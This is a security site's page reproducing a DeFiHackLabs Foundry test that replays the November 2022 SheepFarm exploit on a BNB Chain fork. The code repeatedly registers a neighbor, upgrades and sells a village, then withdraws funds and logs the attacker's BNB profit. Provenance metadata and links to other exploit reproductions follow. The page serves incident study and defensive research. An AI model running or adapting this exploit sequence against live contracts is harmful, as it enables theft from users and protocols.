Public reproduction file
src/test/2022-11/SheepFarm_exp.sol
Public reproduction file for dataset entry - SheepFarm.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/AnciliaInc/status/15926581043944734729// https://twitter.com/BlockSecTeam/status/159273429272745574410// @Tx11// https://bscscan.com/tx/0x5735026e5de6d1968ab5baef0cc436cc0a3f4de4ab735335c5b1bd31fa60c58213interface SheepFram {14 function register(15 address neighbor16 ) external;17 function addGems() external payable;18 function upgradeVillage(19 uint256 framId20 ) external;21 function withdrawMoney(22 uint256 wool23 ) external;24 function sellVillage() external;25}27contract ContractTest is Test {28 SheepFram sheepFram = SheepFram(0x4726010da871f4b57b5031E3EA48Bde961F122aA);29 address neighbor = 0x14598f3a9f3042097486DC58C65780Daf3e3acFB;31 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);33 function setUp() public {34 cheats.createSelectFork("bsc", 23_088_156);35 }37 function testExploit() public payable {38 for (uint8 i = 0; i < 200; i++) {39 sheepFram.register(neighbor);40 }41 sheepFram.addGems{value: 5 * 1e14}();42 for (uint8 i = 0; i < 3; i++) {43 sheepFram.upgradeVillage(i);44 }45 sheepFram.sellVillage();46 uint256 BalanceBefore = address(this).balance;47 sheepFram.withdrawMoney(20_000);48 uint256 BalanceAfter = address(this).balance;50 emit log_named_decimal_uint("Attacker BNB profit after exploit", (BalanceAfter - BalanceBefore), 18);51 }53 receive() external payable {}54}Analysis
Dataset entry
Public Foundry test for “- SheepFarm” (2022-11-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-11/Annex_exp.solSame month in the dataset · 134 lines
- src/test/2022-11/AUR_exp.solSame month in the dataset · 105 lines
- src/test/2022-11/BDEX_exp.solSame month in the dataset · 55 lines
- src/test/2022-11/BrahTOPG_exp.solSame month in the dataset · 88 lines
- src/test/2022-11/DFX_exp.solSame month in the dataset · 108 lines
- src/test/2022-11/Kashi_exp.solSame month in the dataset · 115 lines
- src/test/2022-11/MBC_ZZSH_exp.solSame month in the dataset · 104 lines
- src/test/2022-11/MEV_0ad8_exp.solSame month in the dataset · 66 lines
- src/test/2022-11/MooCAKECTX_exp.solSame month in the dataset · 115 lines
- src/test/2022-11/NUM_exp.solSame month in the dataset · 72 lines
- src/test/2022-11/Polynomial_exp.solSame month in the dataset · 98 lines
- src/test/2022-11/SDAO_exp.solSame month in the dataset · 109 lines
- src/test/2022-11/SEAMAN_exp.solSame month in the dataset · 71 lines
- src/test/2022-11/UEarnPool_exp.solSame month in the dataset · 131 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- SheepFarm
- Path
- src/test/2022-11/SheepFarm_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 8adc5da32a4c140d0e63bdd84a86b195451f9c7b
- Language
- Solidity
- Size
- 55 lines
- Date
- 2022-11-16
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-11/SheepFarm_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8adc5da32a4c140d0e63bdd84a86b195451f9c7b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.